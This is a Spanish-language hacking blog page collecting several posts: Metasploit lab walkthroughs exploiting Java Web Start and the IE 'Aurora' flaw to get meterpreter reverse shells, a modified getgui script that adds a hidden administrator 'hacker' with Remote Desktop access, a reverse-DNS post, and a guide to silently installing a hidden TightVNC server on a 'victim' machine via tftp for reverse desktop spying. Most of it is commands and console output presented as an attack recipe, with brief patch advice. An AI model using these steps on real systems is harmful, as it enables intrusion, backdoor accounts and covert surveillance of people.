Mostrando entradas con la etiqueta Reverse. Mostrar todas las entradas
Mostrando entradas con la etiqueta Reverse. Mostrar todas las entradas

miércoles, 12 de mayo de 2010

Laboratorio Metasploit java Web Start + Escritorio Remoto Getgui

Otro mas laboratorio sobre Metasploit. Creo que este es uno de los exploit mas peligrosos con respecto a los anteriores que mostre, ya que lo estube probando y no llega a ser detectado por los AV.
La falla reside en el Web Start de Java, el binario llamada javaws.exe, el problema es que la validacion de URL es minima por lo cual se puede realizar una inyeccion de codigo arbitrarios.
Esta falla fueron descubiertas paralelamente por Tavis Ormandy y Ruben Santamarta

la línea de comandos "-XXaltjvm "y curiosamente también "-J-XXaltjvm "(vea el interruptor -J en javaws.exe). Esto indica a Java que cargue una bibliotec JavaVM alternativa (jvm.dll o libjvm.so) desde la ruta deseada. Fin del juego. Podemos establecer-XXaltjvm = \ \ IP\maligno, de esta manera javaw.exe cargará nuestra jvm.dll maligna. Adios ASLR, DEP .. . ", dijo Santamarta en su comunicado.


Un buen documento explicado sobre la falla es en este link

Para que funcione este exploit desde Metasploit Framework, tenemos que estar en una maquina como root y no tener ningun servidor SMB corriendo, el otro requerimiento es que en la maquina victima tiene que estar el WebClient prendido. La forma de verificar si esta corriendo el servicio es

C:\>sc query webclient | find "STATE"
STATE : 4 RUNNING



Prueba Metasploit

Para demostrar la falla utulizaremos el popular metasploit, y el exploit cargado llamado java_ws_arginject_altjvm. Abajo se muestra toda la secuencia de comandos para cargar el exploit mas el payloads, cosas ya viste anteriormente en los anteriores publicaciones sobre metasploit :)


#msfconsole
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|


=[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r9306 updated today (2010.05.15)

msf > use exploit/windows/browser/java_ws_arginject_altjvm
msf exploit(java_ws_arginject_altjvm) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(java_ws_arginject_altjvm) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(java_ws_arginject_altjvm) > set LPORT 3333
LPORT => 3333
msf exploit(java_ws_arginject_altjvm) >
[*] Started reverse handler on 192.168.56.1:3333
[*] Using URL: http://192.168.56.1:80/
[*] Server started.






Ahora solo queda que la victima ingrese a nuestro servidor iniciado por el MSF con la pagina HTML maligna.








La maquina Virtual es un XP SP 3 y la Version de Java es:

C:\Documents and Settings\victima 2>java -version
java version "1.6.0_18"
Java(TM) SE Runtime Environment (build 1.6.0_18-b07)
Java HotSpot(TM) Client VM (build 16.0-b13, mixed mode, sharing)


Se aconseja actualizar Java a una version mas reciente, a partir de la 1.6.0_20, es donde se encuentra el parche, ya que es es considerada de criticidad maxima a esta vulnerabilidad.
De todos los exploit que he probado sobre browser hasta el momento, este es uno de los mas peligrosos, ya que es independiente del browser, y los AV hasta el momento ( por lo que eh notado ), no tienen alguna firma, aunque me paresca raro..



ESCRITORIO REMOTO

Cuando obtenemos una session de meterpreter, tenemos muchas funcionalidades, como migrarnos de procesos, keyloger, screenshot, capturar las llaves, etc.
La opcion que vamos a ver, es un script que permite abrir un Terminal Server en la maquina victima, pero para que nosotros podamos usarlos sin algun problema tendremos que modificar el codigo para que coloque un usuario en el grupo Administradores en las version español de windows.

El script se llama GETGUI, para modificar nos vamos a donde estan los archivos de script en mi caso:

/opt/metasploit3/msf3/scripts/meterpreter

En esta ruta estan lo script del meterpreter.

Como veran, el getgui nos da algunas opciones donde una de ellas es el lenguaje, con el parametro -l le pasamos el tipo pero solo hay en Ingles y Aleman.




meterpreter > run getgui -h
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u -p
Or: getgui -e

OPTIONS:

-e Enable RDP only.
-f Forward RDP Connection.
-h Help menu.
-l The language switch
Possible Options: 'de_DE', 'en_EN' / default is: 'en_EN'
-p The Password of the user to add.
-u The Username of the user to add.




Lo que haremos es editar el archivo getgui.rb

#nano /opt/metasploit3/msf3/scripts/meterpreter/getgui.rb

Nos dirijimos a la linea 113, y cambiamos este trozo de codigo
case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"

end



Por este otro

case lang
when "en_EN"
rdu = "Remote Desktop Users"
admin = "Administrators"
when "de_DE"
rdu = "Remotedesktopbenutzer"
admin = "Administratoren"
when "es_ES"
rdu = "Usuarios de escritorio remoto"
admin = "Administradores"


end


Una vez que hayamos cambiado, ahora nos vamos al nuestra sessions del meterpreter y ejecutamos.


meterpreter > run getgui -u hacker -p 123456 -l es_ES
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Language set by user to: 'es_ES'
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[*] Setting user account for logon
[*] Adding User: hacker with Password: 123456
[*] Adding User: hacker to local group 'Usuarios de escritorio remoto'
[*] Adding User: hacker to local group 'Administradores'
[*] You can now login with the created user




Lo que hace esto es crear un usuario hacker con password 123456 al grupo "Administradores" y que pueda accederse atravez de escritorio remoto dicho usuario "Usuarios de Escritorios remoto".
Ahora para ver si todo funciona, vamos a una shell y con el programa rdesktop nos conectamos. ( Si no lo tenes y estas en debian o distros similares aptitude install rdesktop ).

$rdesktop 192.168.56.101












Eso es todo, Saludos


REFERENCIAS

http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html
http://seclists.org/fulldisclosure/2010/Apr/119
http://www.pentester.es/2010/05/explotando-java-web-start.html
http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html
http://threatpost.com/es_la/blogs/nueva-falla-en-java-afecta-todas-la-versiones-de-windows-040910

martes, 9 de febrero de 2010

Laboratorio -- Metasploit - Exploit ie_aurora


Bueno creo que todos deben conocer del 0 day que tanto se hablo en estos ultimos tiempos sobre IE, lo que lograba un BOF pudiendo inyectar codigo arbitrario obteniendo una shell, aunque no todos son vulnerables hay una tablita que muestra que tan bien estan parados algunas versiones de windows conjuntamente con la version de IE, mas ahora sabiendo que los antivirus lo detectan..



El laboratorio se compone por una Virtual Machin ( VirtualBox, en el proximo post voy a explicar como intalarlo con yapa de Hacking! ) que tiene intalado un Windows XP SP3 con internet explorer Version 6.0, el cual es totalmente vulnerable. Por suerte es muy raro encontrar clientes navegando con esa version, pero .... :). Je..



Comenzando

Primero entonces nesesitamos el metasploit, lo podemos descargar desde aqui, busquen su arquitectura para linux hay de 32 bit y 64 bit (Yo me descargue este framework-3.3.3-linux-x86_64.run), tambien esta para windows pero el ultimo que baje no tenia el exploit aurora, pero se le puede agregar descargando el archivo con estension rb y colocarlo en la carpeta de exploit/windows/browser que seria lo ideal. Aqui el exploit.
Una vez intalado el metasploit, y que todo haya salido bien ( En linux nesesitamos intalar ruby ), nos dirigimos a la consola de metasploit.

/home/usuario# msfconsole



                                  _       _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|


=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8438 updated yesterday (2010.02.09)

msf >


Una vez dentro de la consola de Metasploit, tenemos que elegir el exploit a utilizar


msf > use windows/browser/ie_aurora
msf exploit(ie_aurora) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to
listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)


Exploit target:

Id Name
-- ----
0 Automatic


Una vez cargado el exploit con el comando use, podemos ver los argumentos que nesesita el exploit para poder funcionar con el comando show options.
Usaremos un PAYLOAD de reverse shell, para ello colocamos lo que sigue.

 msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Bien empezamos a llenar los argumentos tanto del Payload como del EXPLOIT



msf exploit(ie_aurora) > set LHOST 190.18x.xxx.xxx
LHOST => 190.18x.xx.xxx
msf exploit(ie_aurora) > set URIPATH /
URIPATH => /
msf exploit(ie_aurora) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 190.18x.xx.xxx yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Automatic


En la pantalla se ve como se setearon los valores cargados LHOST vendria a ser la ip del atacante. Largamos el exploit


msf exploit(ie_aurora) > exploit
[*] Exploit running as background job.
msf exploit(ie_aurora) >
[*] Started reverse handler on 190.18x.xx.xxx:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://190.18x.xx.xxx:8080/
[*] Server started.


El servidor lo tengo corriendo en la IP del argumento LHOST en el puerto 8080 y tendremos una reverse shell por el puerto 4444 :).
Ahora mandamos el enlace a la victima, y esperamos que ingrese.


Veamos nuestra consola de metasploit :)



[*] Sending Microsoft Internet Explorer "Aurora" Memory Corruption to client 190.18x.xx.xxx
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (190.18x.xx.xxx:4444 -> 190.18x.xx.xxx:51513)
sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 190.18x.xx.xxx:4444 -> 190.18x.xx.xxx:51513

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: VICTIMA
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: es_ES




Vemos que tenemos la session con la victima, que tiene un Windows XP SP3.
Ahora vamos a la shell remota que es lo mejor :)


meterpreter > shell
Process 812 created.
Channel 1 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Victima 10\Escritorio>hostname
hostname
victima

C:\Documents and Settings\Victima 10\Escritorio>


Solucion

Navegar con un antivirus para este exploit seria lo mejor el NOD32 lo detecta y no deja inyectar, tambien no usar un IE explorer anticuado asi como el 6.x que fue hecho en esta POC. Mientras pasen cosas parecidas dejar de utilizar el software defectuoso hasta que la Empresa propietaria del mismo largue el parche, para cada programa siempre hay otro que realiza la misma accion, pudiendo elegirlo a ese temporarlmente.



Referencias:
http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html

http://foro.elhacker.net/hacking_avanzado/metasploit_0day_ie_exploit_ieaurora-t281678.0.html

Saludos

lunes, 18 de enero de 2010

Reverse DNS


Bueno después de una larga ausencia por motivos de las vacaciones y llegado hace instante, vuelvo a darle vida al blog, quiero saludar dando un Feliz 2010 y que todos sigamos creciendo y con buena salud, y espero que este año siga conociendo gente copada como lo hice en el 2009 que fue buenisimo.

Bueno el motivo de este post es hablar sobre una técnica llamada reverse DNS, que en un Pentest no se debería dejar de lado, ya que siempre la Seguridad se rompe por el eslabón mas débil de la cadena. Muchos sabemos que algunos sitios están alojadas en servidores donde se comparte el mismo con otros clientes, es decir que en un servidor hay alojadas distintas paginas o Virtual Host.
Esta técnica se usa para saber que paginas tiene relación con la pagina que estamos testeando. Es decir si nuestro target es www.ejemplo.com.ar, y esta alojada en un servidor donde se encuentran:

www.ejemplo1.com.ar
www.ejemplo2.com.ar
www.ejemplo3.com.ar
.
.
www.ejemploN.com.ar

Las herramientas que logran hacer el Reverse DNS nos mostrara dichas paginas. Los que traigo son 3 script que realizan la acción el cual están codeadas en PHP, PYTHON y PERL para que usen dependiendo la ocación una u otra ( siempre es bueno tener codeadas en distintos lenguajes).
Los códigos en PHP y PYTHON fueron codeadas por mi amigo Daniel Godoy, al cual lo conocí en Salta y donde le hice una entrevista días después, de paso les doy su Blog que no esta bueno, esta muy bueno se lo recomiendo.
Por que es importante esto? Cuando no podamos vulnerar la pagina que estamos testeando, ya sea por conocimientos o por que no hay forma, podríamos pensar que si vulneramos una alojada en el mismo server, obtenemos la confianza del mismo, los que nos da incapie para poder escalar y llegar a nuestro objetivo. Esto me lo han contado xD jaja...

Bueno ahi les dejo los codigo en paste2.org.

S0urc3 PHP
S0urc3 Python
S0urc3 Perl


Saludos..

domingo, 27 de septiembre de 2009

Reverse VNC

Bueno hace un rato estube jugando con el VNC, probando conexiones inversas. Esto puede ser muy util cuando por ejemplo no podemos abrir algun puerto en algun router ordinario, o por ejemplo cuando estemos atras de un router con alguna victima y quiseramos ver el escritorio de la misma. Entonces podemos hacer una conexion inversa hacia nosotros.
Bueno si se leyeron este post http://magnobalt.blogspot.com/2009/09/reverse-shell-netcat-with-batch.html donde explico que es una conexion inversa y que ademas este script es por ejemplo el que pude usar para tener acceso a una maquina victima o probar en localhost (que es lo que se debe hacer :) ) para agarrar practica y despues tirarse a volar.
Entonces veamos, imaginemos que tenemos acceso a una pc con windows mediante el script que hice en el post del enlace mas arriba. Nosotros ahora queremos ver mas, osea queremos ver que esta haciendo, con quien chatea, osea ver su Escritorio :) . Bueno entonces, que nesesitamos.

Configurando VNC

Descarguen el VNC intalenlo en su maquina, y ejecutenlo.
Vamos a configurarlo primero coloquenle un password a el VNC en esa imagen muestra donde se coloca.








Ahora vamos a colocar que el icono no se muestre en la barra de tarea, para eso hacemos esto. Vamos al regitro de Windows y nos dirigimos a

HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3
,

agregaremos un nuevo valor Dword, con el nombre de DisableTrayIcon, y le daremos un valor de 1, como queda en esta imagen.












Lo que sigue es exportar la configuracion de nuestro VNC a un archivo .reg para que cuando le intalemos en la victima no tire ningun Warning de que falta setear algun password, y que el icono no se muestre etc.
entonces nos vamos a estas direeciones para exportar
HKEY_CURRENT_USER\Software\ORL\WinVNC3, Clic derecho luego en Exportar, y guardaremos con el nombre de regvnc1, ahora expotaremos el siguiente conjunto el cual es HKEY_LOCAL_MACHINE\SOFTWARE\ORL, y guardaremos con el nombre de regvnc2.
Pasamos al otro paso :)



Configurando carpeta de Bajadas
de TFTP
Una vez descargado el TFTP creen una carpeta por ejemplo en el C:\Bajadas y copienlo ahi, lo mismo hagan con el ejecutable del TightVNC, y los archivos .reg que habiamos creado anteriormente (regvnc1.reg y regvnc2.reg)
Ejecuten el Servidor TFTP, una vez ejecutado seguro les pedira si tienen intalado el Firewall un alerta, coloquenlo como exepcion.

Entonces C:\Bajadas tiene estos archivos
  1. tftp
  2. TightVNC
  3. regvnc1.reg
  4. regvnc2.reg
Dijimos que por algun Motivo X estamos en una consola de una victima ya sea mediante algun Exploit o con el post que hice sobre troyanizando Netcat.

Descargando y Ejecutando
Estos son los pasos como debemos descargarnos las cosas desde nustra pc a la victima y como se ejecuta paso por paso.

a. En la consola de nuestra victima colocamos.
PC Victim
c:\tftp -i nuestraip get regvnc1.reg
c:\tftp -i nuestraip get regvnc2.reg
c:\tftp -i nuestraip get tightvnc-1.3.9-setup.exe (en mi caso es ejecutable del VNC se llama asi)

Bien ahora tenemos descargados nuestras archivos para empezar. Ahora intalemos y configuremos

c:\tightvnc-1.3.9-setup.exe /sp- /verysilent
c:\regedit /s regvnc1.reg
c:\regedit /s regvnc2.reg
c:\rd /s /q "%allusersprofile%\menú inicio\programas\tightvnc"

En la primera opcion lo que hacemos es intalar el TightVNC silenciosamente, que lindo no?
Y en las otras dos lineas hacemos lo mismo importamos nuestros archivos .reg silenciosamente. :)
Y en la cuarta linea lo que hacemos es borrar del menu inicio el panel del tightVNC para que no se tan bandera. je..

Bien ya esta casi todo preparado ahora probemos si funciona. Nos quedan estos dos pasitos.
Abrimos una consola (cmd.exe) en nuestra maquina y nos vamos a

D:\>cd "Archivos de programa"

D:\Archivos de programa>cd TightVNC


Y ejecutamos:

D:\Archivos de programa\TightVNC>vncviewer.exe -listen

Lo que hacmoes aca es dejar un demonio del VNC en modo listen para posibles conexion hacia nosotros.

Y ahora nos vamos a la consola de la victima y nos dirijimos a la misma carpeta que nos situamos en la nuestra osea Archivos de programa\TightVNC, y ejecutamos:

C:\Archivos de programa\TightVNC>WinVNC.exe -run
Damos ejecucion al servidor VNC en la maquina victima :). Podemos ver si todo va bien con el comando tasklist, y ver si hay un WinVNC.exe corriendo..

Al fin viene lo divertido :). Ejecutemos la conexion Reversa
C:\Archivos de programa\TightVNC>WinVNC.exe -connect nuestraip

Ahora si todo sale bien y esperamos unos segundos nos aparecera el escritorio de la victima mediante el VNC, donde podemos hacer lo que se nos plazca desde subirle archivos, descargar los suyos, manejar su mouse.. Etc, etc, etc.....

Si se habran dado cuenta tambien con esta forma podemos conectarnos a la maquina de la victima directamente con el cliente del VNC, ya que esta todo configurado para ingresar y el password sera el el que colocamos cuando empezamos la configuracion.
Obviamente que cada vez que reinicie la maquina la victima tendriamos que ejcutar el WinVNC.exe para que este todo ok!! Eso es todo


Saludos